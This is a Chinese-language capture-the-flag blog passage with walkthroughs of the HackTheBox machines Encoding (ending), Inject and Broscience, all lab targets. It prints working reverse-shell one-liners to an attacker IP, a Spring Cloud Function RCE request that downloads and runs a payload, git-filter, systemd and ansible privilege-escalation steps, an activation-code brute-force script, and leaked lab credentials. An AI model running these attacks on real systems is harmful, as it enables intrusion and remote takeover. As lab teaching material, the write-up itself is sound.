/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image commit -m "Commited from API!" --author="james <james@haxtables.htb>" --no-verify
fi
1
2
3
4
5
6
echo "python3 -c \"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('0.0.0.0',9995));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);\"" > /tmp/BFL
chmod +x /tmp/BFL
git init
echo '*.php filter=indent' > /var/www/image/.git/info/attributes
git config filter.indent.clean /tmp/BFL
sudo -u svc /var/www/image/scripts/git-commit.sh

Git提供了一种过滤机制,允许用户在文件检出或提交到Git存储库时将自定义脚本应用于文件。
过滤机制由两种类型的过滤器组成:clean过滤器和smudge过滤器。clean过滤器用于在将文件提交到Git存储库之前转换文件的内容。smudge过滤器用于在从Git存储库检出文件时转换文件的内容。
在这种情况下,攻击者创建了一个clean过滤器,该过滤器执行一个Python脚本,该脚本打开一个反向shell到指定的IP地址和端口。攻击者已将Git配置为对/var/www/image目录中的所有PHP文件使用此clean过滤器。这意味着每当该目录中的PHP文件提交到Git存储库时,将应用clean过滤器,并执行Python脚本。
Generated By ChatGPT

这个地方反弹Shell不能弹到本机
疑似是网络问题,不能通过VPN的网络接口接收python reverse shell
只能在靶机上再开个shell然后nc监听

查看user.txt

1
cat /home/svc/user.txt
1
46b119076b33b6baadfb2467e0128703

权限提升

1
sudo -l
1
2
3
4
5
6
7
Matching Defaults entries for svc on encoding:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User svc may run the following commands on encoding:
(root) NOPASSWD: /usr/bin/systemctl restart *

查看路径权限

1
getfacl /etc/systemd/system
1
2
3
4
5
6
7
8
# file: etc/systemd/system
# owner: root
# group: root
user::rwx
user:svc:-wx
group::rwx
mask::rwx
other::r-x

编写service如下

1
2
3
4
5
[Service]
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.*.*/9996 0>&1"

[Install]
WantedBy=multi-user.target

监听

1
nc -lvnp 9996

写入service

1
echo -n $PYTHON_REVERSE_SHELL_PAYLOAD_BASE64_ENCODED | base64 -d > /etc/systemd/system/bufferfly.service

重启service

1
sudo -u root /usr/bin/systemctl restart bufferfly

获取Shell,查看root.txt

1
cat /root/root.txt
1
ffba7f2f7e12fd7fa94a522e00db275e

HackTheBox_Inject

信息收集

端口扫描

1
nmap -Pn -sV -T5 -v 10.10.11.204
1
2
3
4
5
6
7
Nmap scan report for 10.10.11.204
Host is up (2.3s latency).
Not shown: 613 filtered ports, 385 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp open nagios-nsca Nagios NSCA
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

漏洞利用

请求http://10.10.11.204:8080/upload

上传文件后通过以下方法下载文件

http://10.10.11.204:8080/show_image?img=FILENAME

LFI

1
curl http://10.10.11.204:8080/show_image?img=../../../../../../etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false

可以列目录

1
curl http://10.10.11.204:8080/show_image?img=../../../../../../
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

WEB代码如下

1
curl http://10.10.11.204:8080/show_image?img=../../../../../../var/www/WebApp/src/main/java/com/example/WebApp/user/UserController.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package com.example.WebApp.user;
import org.springframework.core.io.Resource;
import org.springframework.core.io.UrlResource;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import java.nio.file.Path;
import org.springframework.ui.Model;
import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import javax.activation.*;
import java.io.*;
import java.net.MalformedURLException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;

@Controller
public class UserController {

private static String UPLOADED_FOLDER = "/var/www/WebApp/src/main/uploads/";

@GetMapping("")
public String homePage(){
return "homepage";
}

@GetMapping("/register")
public String signUpFormGET(){
return "under";
}

@RequestMapping(value = "/upload", method = RequestMethod.GET)
public String UploadFormGet(){
return "upload";
}

@RequestMapping(value = "/show_image", method = RequestMethod.GET)
public ResponseEntity getImage(@RequestParam("img") String name) {
String fileName = UPLOADED_FOLDER + name;
Path path = Paths.get(fileName);
Resource resource = null;
try {
resource = new UrlResource(path.toUri());
} catch (MalformedURLException e){
e.printStackTrace();
}
return ResponseEntity.ok().contentType(MediaType.IMAGE_JPEG).body(resource);
}

@PostMapping("/upload")
public String Upload(@RequestParam("file") MultipartFile file, Model model){
String fileName = StringUtils.cleanPath(file.getOriginalFilename());
if (!file.isEmpty() && !fileName.contains("/")){
String mimetype = new MimetypesFileTypeMap().getContentType(fileName);
String type = mimetype.split("/")[0];
if (type.equals("image")){

try {
Path path = Paths.get(UPLOADED_FOLDER+fileName);
Files.copy(file.getInputStream(),path, StandardCopyOption.REPLACE_EXISTING);
} catch (IOException e){
e.printStackTrace();
}
model.addAttribute("name", fileName);
model.addAttribute("message", "Uploaded!");
} else {
model.addAttribute("message", "Only image files are accepted!");
}

} else {
model.addAttribute("message", "Please Upload a file!");
}
return "upload";
}

@GetMapping("/release_notes")
public String changelog(){
return "change";
}

@GetMapping("/blogs")
public String blogPage(){
return "blog";
}

}

查看pom.xml

1
curl http://10.10.11.204:8080/show_image?img=../../../../../../var/www/WebApp/pom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>WebApp</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>WebApp</name>
<description>Demo project for Spring Boot</description>
<properties>
<java.version>11</java.version>
</properties>
<dependencies>
<dependency>
<groupId>com.sun.activation</groupId>
<artifactId>javax.activation</artifactId>
<version>1.2.0</version>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>

<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>bootstrap</artifactId>
<version>5.1.3</version>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>webjars-locator-core</artifactId>
</dependency>

</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>${parent.version}</version>
</plugin>
</plugins>
<finalName>spring-webapp</finalName>
</build>

</project>

spring-cloud-function-web 3.2.2存在RCE漏洞

https://www.zscaler.com/blogs/security-research/analysis-spring-cloud-framework-vulnerabilities
https://github.com/dinosn/CVE-2022-22963/blob/main/poc.py

构造EXP并触发

1
2
3
4
5
echo '/bin/bash -i >& /dev/tcp/10.10.*.*/9998 0>&1' > /tmp/BFL
cd tmp
python -m http.server 80&
proxychains curl http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("curl http://10.10.*.*/BFL -o /tmp/BFL")' -d "BFL"
proxychains curl http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash /tmp/BFL")' -d "BFL"

获得反弹Shell

得到phil账号信息

1
cat /home/frank/.m2/settings.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>

切换账户

1
2
su phil
DocPhillovestoInject123

获取tty

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

查看user.txt

1
cat /home/phil/user.txt
1
21440ad399cf843bcf64f2f7fa9ff600

权限提升

1
id
1
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)

staff组权限

查看staff组权限相关文件

1
find / -group staff -ls 2>/dev/null
1
183353      4 drwxrwxr-x   2 root     staff        4096 Mar 20 16:02 /opt/automation/tasks

下载pspy

1
2
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
python -m http.server 80

获取pspy并运行

1
2
3
curl http://10.10.16.8/pspy64 -o /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
2023/03/20 16:18:01 CMD: UID=0     PID=3720   | sleep 10 
2023/03/20 16:18:01 CMD: UID=0 PID=3718 | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/playbook_1.yml
2023/03/20 16:18:01 CMD: UID=0 PID=3717 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
2023/03/20 16:18:01 CMD: UID=0 PID=3716 | /bin/sh -c sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/
2023/03/20 16:18:01 CMD: UID=0 PID=3715 | /usr/sbin/CRON -f
2023/03/20 16:18:01 CMD: UID=0 PID=3714 | /usr/sbin/CRON -f
2023/03/20 16:18:01 CMD: UID=0 PID=3722 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
2023/03/20 16:18:02 CMD: UID=0 PID=3732 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
2023/03/20 16:18:02 CMD: UID=0 PID=3728 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
2023/03/20 16:18:02 CMD: UID=0 PID=3733 | /lib/systemd/systemd-udevd
2023/03/20 16:18:03 CMD: UID=0 PID=3748 | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679329082.6908467-3728-2496817511178/AnsiballZ_setup.py
2023/03/20 16:18:03 CMD: UID=0 PID=3747 | /bin/sh -c /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679329082.6908467-3728-2496817511178/AnsiballZ_setup.py && sleep 0
2023/03/20 16:18:03 CMD: UID=0 PID=3746 | /bin/sh -c /bin/sh -c '/usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679329082.6908467-3728-2496817511178/AnsiballZ_setup.py && sleep 0'
2023/03/20 16:18:03 CMD: UID=0 PID=3751 | /usr/bin/python3 -Es /usr/bin/lsb_release -a
2023/03/20 16:18:03 CMD: UID=0 PID=3755 | /usr/bin/python3 -Es /usr/bin/lsb_release -a
2023/03/20 16:18:03 CMD: UID=0 PID=3759 | /usr/bin/lspci -D
2023/03/20 16:18:03 CMD: UID=0 PID=3771 | /sbin/vgs --noheadings --nosuffix --units g --separator ,
2023/03/20 16:18:03 CMD: UID=0 PID=3773 | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679329082.6908467-3728-2496817511178/AnsiballZ_setup.py
2023/03/20 16:18:04 CMD: UID=0 PID=3799 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
2023/03/20 16:18:04 CMD: UID=0 PID=3818 | /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679329084.3736737-3799-18648848213699/AnsiballZ_systemd.py
2023/03/20 16:18:04 CMD: UID=0 PID=3817 | /bin/sh -c /usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679329084.3736737-3799-18648848213699/AnsiballZ_systemd.py && sleep 0
2023/03/20 16:18:04 CMD: UID=0 PID=3816 | /bin/sh -c /bin/sh -c '/usr/bin/python3 /root/.ansible/tmp/ansible-tmp-1679329084.3736737-3799-18648848213699/AnsiballZ_systemd.py && sleep 0'
2023/03/20 16:18:05 CMD: UID=0 PID=3820 | /usr/bin/systemctl show webapp

这里只能ctrl+c退掉shell然后再弄个shell

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/ansible-playbook-privilege-escalation/

构造BFL.yml如下

1
2
3
4
- hosts: localhost
tasks:
- name: RShell
command: bash /tmp/BFL_root

写入至/opt/automation/tasks/BFL.yml

1
echo -n "LSBob3N0czogbG9jYWxob3N0CiAgdGFza3M6CiAgICAtIG5hbWU6IFJTaGVsbAogICAgICBjb21tYW5kOiBiYXNoIC90bXAvQkZMX3Jvb3Q=" | base64 -d > /opt/automation/tasks/BFL.yml

构造触发目标反弹Shell命令

1
2
echo '/bin/bash -i >& /dev/tcp/10.10.*.*/9997 0>&1' > /tmp/BFL_root
python -m http.server 80

获取bash脚本

1
curl http://10.10.*.*/BFL_root -o /tmp/BFL_root

监听

1
nc -lvnp 9997

计划任务/bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml触发/opt/automation/tasks/BFL.yml再触发/tmp/BFL_root实现反弹Shell

查看root.txt

1
cat /root/root.txt
1
7b326b1361a10a45872887e9aaf6352b

1
2
3
ssh phil@10.10.11.204
phil@10.10.11.204's password:
Permission denied, please try again.
1
cat /etc/ssh/sshd_config
1
2
3
# Authentication:

DenyUsers phil


HackTheBox_Broscience

信息收集

端口扫描

1
nmap -Pn -sV -T5 -v 10.10.11.195
1
2
3
4
5
6
7
8
Nmap scan report for 10.10.11.195
Host is up (0.60s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.54
443/tcp open ssl/http Apache httpd 2.4.54 ((Debian))
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

路径枚举

查看域名

1
curl -I 10.10.11.195
1
2
3
4
5
HTTP/1.1 301 Moved Permanently
Date: Thu, 23 Mar 2023 11:11:56 GMT
Server: Apache/2.4.54 (Debian)
Location: https://broscience.htb/
Content-Type: text/html; charset=iso-8859-1

添加域名解析

1
echo -e '10.10.11.195\tbroscience.htb' >> /etc/hosts

枚举路径

1
dirb https://broscience.htb/
1
2
3
==> DIRECTORY: https://broscience.htb/images/																	   
==> DIRECTORY: https://broscience.htb/includes/
==> DIRECTORY: https://broscience.htb/manual/

枚举PHP文件

1
dirb https://broscience.htb/ -X .php
1
2
3
4
5
6
7
+ https://broscience.htb/activate.php (CODE:200|SIZE:1256)														  
+ https://broscience.htb/comment.php (CODE:302|SIZE:13)
+ https://broscience.htb/index.php (CODE:200|SIZE:9304)
+ https://broscience.htb/login.php (CODE:200|SIZE:1936)
+ https://broscience.htb/logout.php (CODE:302|SIZE:0)
+ https://broscience.htb/register.php (CODE:200|SIZE:2161)
+ https://broscience.htb/user.php (CODE:200|SIZE:1309)

漏洞利用

访问主页,存在链接https://broscience.htb/includes/img.php?path=bench.png

构造LFI

1
curl 'https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd' --insecure 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned:x:113:121::/var/lib/saned:/usr/sbin/nologin
colord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

查看broscience.htb/includes/img.php

1
curl 'https://broscience.htb/includes/img.php?path=..%252fincludes/img.php' --insecure 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if (!isset($_GET['path'])) {
die('<b>Error:</b> Missing \'path\' parameter.');
}

// Check for LFI attacks
$path = $_GET['path'];

$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
if (strpos($path, $badword) !== false) {
die('<b>Error:</b> Attack detected.');
}
}

// Normalize path
$path = urldecode($path);

// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);
?>

查看broscience.htb/includes/路径下文件

1
curl 'https://broscience.htb/includes/' --insecure 
1
2
3
4
5
db_connect.php
header.php
img.php
navbar.php
utils.php

查看broscience.htb/includes/db_connect.php

1
curl 'https://broscience.htb/includes/img.php?path=..%252fincludes/db_connect.php' --insecure
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

if (!$db_conn) {
die("<b>Error</b>: Unable to connect to database");
}
?>

得到postgresql数据库登陆凭证

查看broscience.htb/register.php

1
curl 'https://broscience.htb/includes/img.php?path=..%252fregister.php' --insecure
1
2
3
$activation_code = generate_activation_code();
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));

得到账户激活码生成函数名,激活码参数,以及用户创建语句

查看broscience.htb/includes/utils.php

1
curl 'https://broscience.htb/includes/img.php?path=..%252fincludes/utils.php' --insecure
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}

// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
$to = (($to === null) ? (time()) : ($to));
$to = ((is_int($to)) ? ($to) : (strtotime($to)));
$from = ((is_int($from)) ? ($from) : (strtotime($from)));

$units = array
(
"year" => 29030400, // seconds in a year (12 months)
"month" => 2419200, // seconds in a month (4 weeks)
"week" => 604800, // seconds in a week (7 days)
"day" => 86400, // seconds in a day (24 hours)
"hour" => 3600, // seconds in an hour (60 minutes)
"minute" => 60, // seconds in a minute (60 seconds)
"second" => 1 // 1 second
);

$diff = abs($from - $to);

if ($diff < 1) {
return "Just now";
}

$suffix = (($from > $to) ? ("from now") : ("ago"));

$unitCount = 0;
$output = "";

foreach($units as $unit => $mult)
if($diff >= $mult && $unitCount < 1) {
$unitCount += 1;
// $and = (($mult != 1) ? ("") : ("and "));
$and = "";
$output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
$diff -= intval($diff / $mult) * $mult;
}

$output .= " ".$suffix;
$output = substr($output, strlen(", "));

return $output;
}

class UserPrefs {
public $theme;

public function __construct($theme = "light") {
$this->theme = $theme;
}
}

function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}

function get_theme_class($theme = null) {
if (!isset($theme)) {
$theme = get_theme();
}
if (strcmp($theme, "light")) {
return "uk-light";
} else {
return "uk-dark";
}
}

function set_theme($val) {
if (isset($_SESSION['id'])) {
setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
}
}

class Avatar {
public $imgPath;

public function __construct($imgPath) {
$this->imgPath = $imgPath;
}

public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}

class AvatarInterface {
public $tmp;
public $imgPath;

public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
?>

用户激活码生成来自于种子为time()的随机序列

编写以下Python脚本以自动注册并枚举时间以激活

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import copy
import re
import requests
import subprocess
import threading

req = requests.session()
register_url = "https://broscience.htb/register.php"
register_data = {"username": "bfl2", "email": "bfl2@bfl.bfl", "password": "bfl", "password-confirm": "bfl"}
activate_url = "https://broscience.htb/activate.php?code=%s"

res = req.get(url = register_url, verify = False)
start_time_str = res.headers["Date"]
start_time = subprocess.Popen("php -r 'echo strtotime(\"%s\");'" % start_time_str, shell = True, stdout = subprocess.PIPE).communicate()[0].decode()


res = req.post(url = register_url, data = register_data, verify = False)
if "created" in res.text:
print("Created.")
end_time_str = res.headers["Date"]
end_time = subprocess.Popen("php -r 'echo strtotime(\"%s\");'" % end_time_str, shell = True, stdout = subprocess.PIPE).communicate()[0].decode()


start_time = int(start_time)
end_time = int(end_time)
for _ in range(start_time, end_time + 1):
code = subprocess.Popen("php -r 'include \"code.php\"; echo generate_activation_code(%s);'" % str(_), shell = True, stdout = subprocess.PIPE).communicate()[0].decode()
print(code)
res = req.get(url = activate_url % code)
if "Invalid" not in res.text:
print("Activated.")
print(register_data)

code.php如下

1
2
3
4
5
6
7
8
9
10
11
12
<?php
# code.php
function generate_activation_code($time) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand($time);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
?>

登陆后主页发现一个切换主题按钮,查看其代码

1
curl 'https://broscience.htb/includes/img.php?path=..%252f/swap_theme.php' --insecure
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
# payload.php
session_start();

// Check if user is logged in already
if (!isset($_SESSION['id'])) {
header('Location: /index.php');
}

// Swap the theme
include_once "includes/utils.php";
if (strcmp(get_theme(), "light") === 0) {
set_theme("dark");
} else {
set_theme("light");
}

// Redirect
if (!empty($_SERVER['HTTP_REFERER'])) {
header("Location: {$_SERVER['HTTP_REFERER']}");
} else {
header("Location: /index.php");
}

结合utils.php,即可分析出如下反序列化漏洞利用过程

1
2
3
4
5
6
7
if (strcmp(get_theme(), "light") === 0) ->
function get_theme() ->
$up_cookie = $_COOKIE['user-prefs']; ->
$up = unserialize(base64_decode($up_cookie)); ->
class AvatarInterface ->
public function __wakeup() ->
fwrite($f, file_get_contents($tmp));

$up = unserialize(base64_decode($up_cookie));这步过程中,序列化结果加入一个AvatarInterface对象,反序列化构造这个AvatarInterface对象时会调用__wakeup()

编写payload.php如下,使用php://input和POST数据配合进行内容写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
